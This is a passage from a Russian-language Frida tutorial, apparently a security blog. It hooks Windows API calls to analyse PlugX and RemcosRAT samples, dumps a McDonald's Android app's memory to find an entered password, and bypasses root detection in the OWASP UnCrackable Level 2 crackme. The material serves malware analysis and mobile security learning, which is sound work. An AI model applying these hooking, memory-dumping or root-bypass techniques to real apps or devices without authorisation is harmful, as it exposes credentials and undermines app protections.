<span class="nx">def</span> <span class="nx">on_message</span><span class="p">(</span><span class="nx">message</span><span class="p">,</span> <span class="nx">data</span><span class="p">):</span>
    <span class="k">if</span> <span class="nx">message</span><span class="p">[</span><span class="dl">'</span><span class="s1">type</span><span class="dl">'</span><span class="p">]</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">:</span>
        <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[!] </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">message</span><span class="p">[</span><span class="dl">'</span><span class="s1">stack</span><span class="dl">'</span><span class="p">])</span>
    <span class="nx">elif</span> <span class="nx">message</span><span class="p">[</span><span class="dl">'</span><span class="s1">type</span><span class="dl">'</span><span class="p">]</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">send</span><span class="dl">'</span><span class="p">:</span>
        <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[i] </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">message</span><span class="p">[</span><span class="dl">'</span><span class="s1">payload</span><span class="dl">'</span><span class="p">])</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nx">print</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">message</span><span class="dl">'</span><span class="p">,</span> <span class="nx">on_message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
<span class="nx">sys</span><span class="p">.</span><span class="nx">stdin</span><span class="p">.</span><span class="nx">read</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="frida-windows">Frida windows</h2>

<h3 id="пример-1">Пример 1</h3>

<p>В папке <code class="language-plaintext highlighter-rouge">samples_for_demonstration</code> лежат образцы классического plugx.</p>

<p>Запускать:</p>

<p><code class="language-plaintext highlighter-rouge">frida -l winapi_hooks.py -f sample.exe</code></p>

<p><code class="language-plaintext highlighter-rouge">winapi_hooks.py</code> - Скрипт хукает функции VirtualProtect, VirtualAlloc, CreateFileW, CreateFileA и выводит их аргументы. Делает дамп памяти, к которой применяется VirtualProtect.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">vp</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">VirtualProtect</span><span class="dl">"</span><span class="p">);</span>


<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">vp</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span>
    <span class="p">{</span>
		<span class="kd">var</span> <span class="nx">vpAddress</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
		<span class="kd">var</span> <span class="nx">vpAddr</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
		<span class="kd">var</span> <span class="nx">vpSize</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nx">toInt32</span><span class="p">();</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">VirtualProtect called.</span><span class="se">\n</span><span class="s2"> Address:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vpAddr</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"> Size:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vpSize</span><span class="p">);</span>
	
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">hexdump</span><span class="p">(</span><span class="nx">vpAddress</span><span class="p">));</span>
		
		<span class="kd">var</span> <span class="nx">dump</span> <span class="o">=</span> <span class="nx">vpAddress</span><span class="p">.</span><span class="nx">readByteArray</span><span class="p">(</span><span class="nx">vpSize</span><span class="p">);</span>
		<span class="kd">var</span> <span class="nx">filename</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">D:</span><span class="se">\\</span><span class="s2">dumps</span><span class="se">\\</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vpAddress</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">_dump.bin</span><span class="dl">"</span><span class="p">;</span>
		<span class="kd">var</span> <span class="nx">file</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">File</span><span class="p">(</span><span class="nx">filename</span><span class="p">,</span> <span class="dl">"</span><span class="s2">wb</span><span class="dl">"</span><span class="p">);</span>
		<span class="nx">file</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">dump</span><span class="p">);</span>
		<span class="nx">file</span><span class="p">.</span><span class="nx">flush</span><span class="p">();</span>
		<span class="nx">file</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
		
    <span class="p">}</span>
<span class="p">});</span>


<span class="kd">var</span> <span class="nx">va</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">VirtualAlloc</span><span class="dl">"</span><span class="p">);</span>

<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">va</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span>
    <span class="p">{</span>
		
		<span class="kd">var</span> <span class="nx">vaSize</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nx">toInt32</span><span class="p">();</span>
		<span class="kd">var</span> <span class="nx">vaProtect</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">VA called.</span><span class="se">\n</span><span class="s2"> Size:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vaSize</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"> Protect:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vaProtect</span><span class="p">);</span>
		
    <span class="p">},</span>
	<span class="na">onLeave</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">retVal</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">VA ret:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">retVal</span><span class="p">);</span>
	<span class="p">}</span>
	
<span class="p">});</span>

<span class="kd">var</span> <span class="nx">createFileWAddr</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">CreateFileW</span><span class="dl">"</span><span class="p">);</span>
 <span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">createFileWAddr</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">CreateFileW() call</span><span class="dl">'</span><span class="p">);</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">path:</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">readUtf16String</span><span class="p">());</span>
            <span class="p">}</span>
    <span class="p">});</span>

<span class="kd">var</span> <span class="nx">createFileAAddr</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">CreateFileA</span><span class="dl">"</span><span class="p">);</span>
 <span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">createFileAAddr</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">CreateFileA() call</span><span class="dl">'</span><span class="p">);</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">path:</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">readAnsiString</span><span class="p">());</span>
            <span class="p">}</span>
    <span class="p">});</span>	

</code></pre></div></div>

<p><img src="/assets/images/ru/frida_notes/plugx_1.png" alt="" /></p>

<p><img src="/assets/images/ru/frida_notes/plugx_2.png" alt="" /></p>

<h3 id="пример-2">Пример 2</h3>

<p>Я скачал рандомный образец (RemcosRAT) с <a href="https://bazaar.abuse.ch/sample/0e43af051e536e7c731f3d856baaf644e474c4c80ea22cb0fb4386d42c2e1056/">malware bazaar</a>:</p>

<p><img src="/assets/images/ru/frida_notes/win_1.png" alt="" /></p>

<p>Попробуем посмотреть, что делает малварь с файлами следующим скриптом фрида:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">createFileWAddr</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">CreateFileW</span><span class="dl">"</span><span class="p">);</span>
 <span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">createFileWAddr</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">path:</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">readUtf16String</span><span class="p">());</span>
            <span class="p">}</span>
    <span class="p">});</span>
</code></pre></div></div>

<p>В результате получим открываемые файлы малварью:</p>

<p><img src="/assets/images/ru/frida_notes/win_2.png" alt="" /></p>

<p>Среди путей видим интересный файл <code class="language-plaintext highlighter-rouge">install.vbs</code>, который лежит в папке <code class="language-plaintext highlighter-rouge">%TEMP%</code>. Откроем эту папку и видим, что созданный файл отсутствует.</p>

<p><img src="/assets/images/ru/frida_notes/win_3.png" alt="" /></p>

<p>Можно предположить, что он после использования удаляется. Как нам поступить? Мы можем перехватить записываемые данные в файл и сохранить их до удаления. Для этого напишем скрипт перехвата вызова <code class="language-plaintext highlighter-rouge">WriteFile</code>, будем сохранять буфер в отдельный файл:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">writeFileAddr</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">WriteFile</span><span class="dl">"</span><span class="p">);</span>
 <span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">writeFileAddr</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
			
			<span class="kd">var</span> <span class="nx">buff</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
			<span class="kd">var</span> <span class="nx">size</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="nx">toInt32</span><span class="p">();</span>
			<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">WriteFile | size = </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">size</span><span class="p">)</span>
			
			<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">hexdump</span><span class="p">(</span><span class="nx">buff</span><span class="p">));</span>
			
			<span class="kd">var</span> <span class="nx">dump</span> <span class="o">=</span> <span class="nx">buff</span><span class="p">.</span><span class="nx">readByteArray</span><span class="p">(</span><span class="nx">size</span><span class="p">);</span>
			<span class="kd">var</span> <span class="nx">filename</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">D:</span><span class="se">\\</span><span class="s2">dumps</span><span class="se">\\</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">_dump.bin</span><span class="dl">"</span><span class="p">;</span>
			<span class="kd">var</span> <span class="nx">file</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">File</span><span class="p">(</span><span class="nx">filename</span><span class="p">,</span> <span class="dl">"</span><span class="s2">wb</span><span class="dl">"</span><span class="p">);</span>
			<span class="nx">file</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">dump</span><span class="p">);</span>
			<span class="nx">file</span><span class="p">.</span><span class="nx">flush</span><span class="p">();</span>
			<span class="nx">file</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
            <span class="p">}</span>
    <span class="p">});</span>
</code></pre></div></div>
<p>В результате мы сохранили целевой скрипт, который и вправду самоудаляется после выполнения:</p>

<p><img src="/assets/images/ru/frida_notes/win_4.png" alt="" /></p>

<h2 id="дамп-памяти-android-приложения">Дамп памяти Android приложения</h2>

<p>С помощью Frida можно дампнуть память любого процесса.</p>

<ol>
  <li>
    <p>Скачиваем любую apk, в нашем случае это будет mcdonalds</p>
  </li>
  <li>
    <p>Устанавливаем apk</p>

    <p><code class="language-plaintext highlighter-rouge">adb install mcodnalds.apk</code></p>
  </li>
  <li>
    <p>Копируем фрида сервер на эмулятор/телефон и запускаем его</p>
  </li>
</ol>

<p><code class="language-plaintext highlighter-rouge">adb push frida-server-12.7.26-android-x86_64 /data/local/tmp/frida</code></p>

<p><code class="language-plaintext highlighter-rouge">chmod +x /data/local/tmp/frida</code></p>

<p><code class="language-plaintext highlighter-rouge">/data/local/tmp/frida &amp;</code></p>

<ol>
  <li>
    <p>Устанавливаем fridump</p>

    <p><code class="language-plaintext highlighter-rouge">git clone https://github.com/Nightbringer21/fridump.git</code></p>
  </li>
  <li>
    <p>Открываем приложение mcdonalds. Вводим в поле пароль/телефон и нажимаем Войти!</p>
  </li>
</ol>

<p><img src="/assets/images/ru/frida_notes/mcdonalds_1.jpg" alt="" /></p>

<ol>
  <li>
    <p>Делаем дамп процесса. Дампы сохранятся в папку <code class="language-plaintext highlighter-rouge">dump</code></p>

    <p><code class="language-plaintext highlighter-rouge">python fridump.py -U -v -s mcdonalds</code></p>
  </li>
  <li>
    <p>Ищем в дампе наш пароль</p>

    <p><code class="language-plaintext highlighter-rouge">grep -arni "pass123" dump/*</code></p>
  </li>
</ol>

<p><img src="/assets/images/ru/frida_notes/mcdonalds_2.jpg" alt="" /></p>

<h2 id="frida-android-example-aka-uncrackable-app-for-android-level-2">Frida Android example aka UnCrackable App for Android Level 2</h2>

<p>Описание задания второго уровня</p>

<pre>
This app holds a secret inside. May include traces of native code.

Objective: A secret string is hidden somewhere in this app. Find a way to extract it.
</pre>

<p>Описание уже содержит хорошую подсказку, но не будем забегать вперед. Скачиваем apk, устанавливаем на android эмулятор, запускаем. Видим, как и в первом задании, детектирование рута</p>

<p><img src="/assets/images/ru/frida_notes/1.png" alt="" /></p>

<p>Давайте обойдем эти проверки другим способом (не выпиливанием кода из apk), с помощью <a href="https://frida.re/">Frida</a>. Это фреймворк, который позволяет вмешиваться в работу приложения, во время выполнения. Инструкция по установке проста:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install frida-tools
</code></pre></div></div>

<p>Далее нам необходимо скачать подходящий сервер frida <a href="https://github.com/frida/frida/releases">отсюда</a>. У меня эмулятор android x86, поэтому я скачал архив с названием <em>frida-server-12.7.26-android-x86.xz</em>. Распаковываем и закидываем на эмулятор</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb push frida-server-12.7.26-android-x86_64 /data/local/tmp/frida
</code></pre></div></div>

<p>Запускаем</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod +x /data/local/tmp/frida
/data/local/tmp/frida &amp;
</code></pre></div></div>

<p>После этого, мы должны командой <code class="language-plaintext highlighter-rouge">frida-ps -U</code> получить список процессов на эмуляторе, чтобы убедиться, что Frida установлена правильно и сервер запущен</p>

<p><img src="/assets/images/ru/frida_notes/2.png" alt="" /></p>

<p>Теперь возвращаемся к приложению и детектированию рута. Оно по прежнему происходит при помощи трех функций, которые мы видим после <code class="language-plaintext highlighter-rouge">invoke-static</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">invoke</span><span class="o">-</span><span class="kd">static</span> <span class="o">{},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">a</span><span class="o">/</span><span class="n">b</span><span class="o">;-&gt;</span><span class="n">a</span><span class="o">()</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">v0</span>

    <span class="k">if</span><span class="o">-</span><span class="n">nez</span> <span class="n">v0</span><span class="o">,</span> <span class="o">:</span><span class="n">cond_0</span>

    <span class="n">invoke</span><span class="o">-</span><span class="kd">static</span> <span class="o">{},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">a</span><span class="o">/</span><span class="n">b</span><span class="o">;-&gt;</span><span class="n">b</span><span class="o">()</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">v0</span>

    <span class="k">if</span><span class="o">-</span><span class="n">nez</span> <span class="n">v0</span><span class="o">,</span> <span class="o">:</span><span class="n">cond_0</span>

    <span class="n">invoke</span><span class="o">-</span><span class="kd">static</span> <span class="o">{},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">a</span><span class="o">/</span><span class="n">b</span><span class="o">;-&gt;</span><span class="n">c</span><span class="o">()</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">v0</span>
</code></pre></div></div>

<p>С помощью Frida, мы можем заставить эти функции всегда возвращать false и обходить проверку. Для этого нам необходимо написать скрипт на <a href="/assets/images/ru/frida_notes/4.jpg">javascript</a>. Чтобы работать с java классами, мы должны использовать обертку, для нашего кода (подробнее о API к java, читайте в <a href="https://frida.re/docs/javascript-api/#java">официальной документации</a>)</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Java</span><span class="p">.</span><span class="nx">perform</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
    <span class="c1">//our code...</span>
<span class="p">})</span>
</code></pre></div></div>

<p>Чтобы получить доступ к классу <code class="language-plaintext highlighter-rouge">sg.vantagepoint.a.b</code> (в котором находятся наши проверки), мы должны использовать метод <code class="language-plaintext highlighter-rouge">Java.use(classname)</code></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Java</span><span class="p">.</span><span class="nx">perform</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>

	<span class="kd">var</span> <span class="nx">antiRootClass</span> <span class="o">=</span> <span class="nx">Java</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b</span><span class="dl">"</span><span class="p">);</span>
<span class="p">})</span>
</code></pre></div></div>

<p>Теперь имея доступ к нужному классу, зная имя метода, мы можем переопределить его поведение на возврат false</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">antiRootClass</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
	<span class="p">}</span>
</code></pre></div></div>

<p>Повторим данный код, для всех трех методов и в итоге получим</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Script started...</span><span class="dl">"</span><span class="p">);</span>

<span class="nx">Java</span><span class="p">.</span><span class="nx">perform</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>

	<span class="kd">var</span> <span class="nx">antiRootClass</span> <span class="o">=</span> <span class="nx">Java</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b</span><span class="dl">"</span><span class="p">);</span>
	<span class="nx">antiRootClass</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b.a modified</span><span class="dl">"</span><span class="p">);</span>
	
	<span class="nx">antiRootClass</span><span class="p">.</span><span class="nx">b</span><span class="p">.</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b.b modified</span><span class="dl">"</span><span class="p">);</span>
	
	<span class="nx">antiRootClass</span><span class="p">.</span><span class="nx">c</span><span class="p">.</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b.c modified</span><span class="dl">"</span><span class="p">);</span>
<span class="p">})</span>

</code></pre></div></div>

<p><em>Чтобы запустить этот скрипт, вам необходимо знать package name приложения. Его можно получить из манифеста или запустив приложение и посмотрев все той же командой <code class="language-plaintext highlighter-rouge">frida-ps</code>.</em></p>

<p>Сохраняем код скрипта в файл с именем <code class="language-plaintext highlighter-rouge">owasp2.js</code> и выполняем такую команду</p>

<p><code class="language-plaintext highlighter-rouge">frida -U -l owasp2.js --no-paus -f owasp.mstg.uncrackable2</code></p>

<p>которая сама стартует приложение и выполняет скрипт. В итоге мы не получаем окно, так как все наши проверки рута были отключены</p>

<p><img src="/assets/images/ru/frida_notes/3.png" alt="" /></p>

<p>Мы получили доступ к вводу секретной строки. Вводим что-нибудь</p>

<p><img src="/assets/images/ru/frida_notes/5.png" alt="" /></p>

<p>появилось окно. Ищем в исходниках место, где встречается эта строка и идет проверка. Таким местом оказался метод <code class="language-plaintext highlighter-rouge">verify()</code> в классе <code class="language-plaintext highlighter-rouge">MainActivity</code>. Его сокращенная версия</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="o">...</span>

    <span class="n">invoke</span><span class="o">-</span><span class="n">virtual</span> <span class="o">{</span><span class="n">p1</span><span class="o">},</span> <span class="nc">Landroid</span><span class="o">/</span><span class="n">widget</span><span class="o">/</span><span class="nc">EditText</span><span class="o">;-&gt;</span><span class="n">getText</span><span class="o">()</span><span class="nc">Landroid</span><span class="o">/</span><span class="n">text</span><span class="o">/</span><span class="nc">Editable</span><span class="o">;</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span><span class="o">-</span><span class="n">object</span> <span class="n">p1</span>

    <span class="n">iget</span><span class="o">-</span><span class="n">object</span> <span class="n">v1</span><span class="o">,</span> <span class="n">p0</span><span class="o">,</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">MainActivity</span><span class="o">;-&gt;</span><span class="nl">m:</span><span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">CodeCheck</span><span class="o">;</span>

    <span class="n">invoke</span><span class="o">-</span><span class="n">virtual</span> <span class="o">{</span><span class="n">v1</span><span class="o">,</span> <span class="n">p1</span><span class="o">},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">CodeCheck</span><span class="o">;-&gt;</span><span class="n">a</span><span class="o">(</span><span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">String</span><span class="o">;)</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">p1</span>

    <span class="k">if</span><span class="o">-</span><span class="n">eqz</span> <span class="n">p1</span><span class="o">,</span> <span class="o">:</span><span class="n">cond_0</span>

    <span class="kd">const</span><span class="o">-</span><span class="n">string</span> <span class="n">p1</span><span class="o">,</span> <span class="s">"Success!"</span>
</code></pre></div></div>

<p>Здесь мы видим, что введенный нами текст в <code class="language-plaintext highlighter-rouge">EditText</code>, отправляется в функцию <code class="language-plaintext highlighter-rouge">sg/vantagepoint/uncrackable2/CodeCheck;-&gt;a</code> и если все удачно, нам говорят “Success!”. Очевидно, что именно там идет проверка нашего ввода на правильность. Откроем класс <code class="language-plaintext highlighter-rouge">sg.vantagepoint.uncrackable2.CodeCheck</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="na">method</span> <span class="kd">private</span> <span class="kd">native</span> <span class="nf">bar</span><span class="o">([</span><span class="no">B</span><span class="o">)</span><span class="no">Z</span>
<span class="o">.</span><span class="na">end</span> <span class="n">method</span>


<span class="err">#</span> <span class="n">virtual</span> <span class="n">methods</span>
<span class="o">.</span><span class="na">method</span> <span class="kd">public</span> <span class="nf">a</span><span class="o">(</span><span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">String</span><span class="o">;)</span><span class="no">Z</span>
    <span class="o">.</span><span class="na">locals</span> <span class="mi">0</span>

    <span class="n">invoke</span><span class="o">-</span><span class="n">virtual</span> <span class="o">{</span><span class="n">p1</span><span class="o">},</span> <span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">String</span><span class="o">;-&gt;</span><span class="n">getBytes</span><span class="o">()[</span><span class="no">B</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span><span class="o">-</span><span class="n">object</span> <span class="n">p1</span>

    <span class="n">invoke</span><span class="o">-</span><span class="n">direct</span> <span class="o">{</span><span class="n">p0</span><span class="o">,</span> <span class="n">p1</span><span class="o">},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">CodeCheck</span><span class="o">;-&gt;</span><span class="n">bar</span><span class="o">([</span><span class="no">B</span><span class="o">)</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">p1</span>

    <span class="k">return</span> <span class="n">p1</span>
<span class="o">.</span><span class="na">end</span> <span class="n">method</span>
</code></pre></div></div>

<p>Наш ввод, передается в функцию <code class="language-plaintext highlighter-rouge">bar()</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">invoke</span><span class="o">-</span><span class="n">direct</span> <span class="o">{</span><span class="n">p0</span><span class="o">,</span> <span class="n">p1</span><span class="o">},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">CodeCheck</span><span class="o">;-&gt;</span><span class="n">bar</span><span class="o">([</span><span class="no">B</span><span class="o">)</span><span class="no">Z</span>
</code></pre></div></div>

<p>Обратите внимание на модификатор native функции</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="na">method</span> <span class="kd">private</span> <span class="kd">native</span> <span class="nf">bar</span><span class="o">([</span><span class="no">B</span><span class="o">)</span><span class="no">Z</span>
</code></pre></div></div>

<p>Модификатор native означает, что реализация метода находится в библиотеках, написанных на других языках. Чтобы работать с такими библиотеками, используется механизм <a href="https://developer.android.com/ndk/guides">JNI</a> (Java Native Interface). С помощью этого интерфейса, андроид приложение может вызывать код на С/С++. Значит, наше приложение использует внешнюю библиотеку. Найдем доказательство этому и сделаем поиск по исходникам, по слову <em>loadLibrary</em>. Находим следующий код в <code class="language-plaintext highlighter-rouge">MainActivity</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">#</span> <span class="n">direct</span> <span class="n">methods</span>
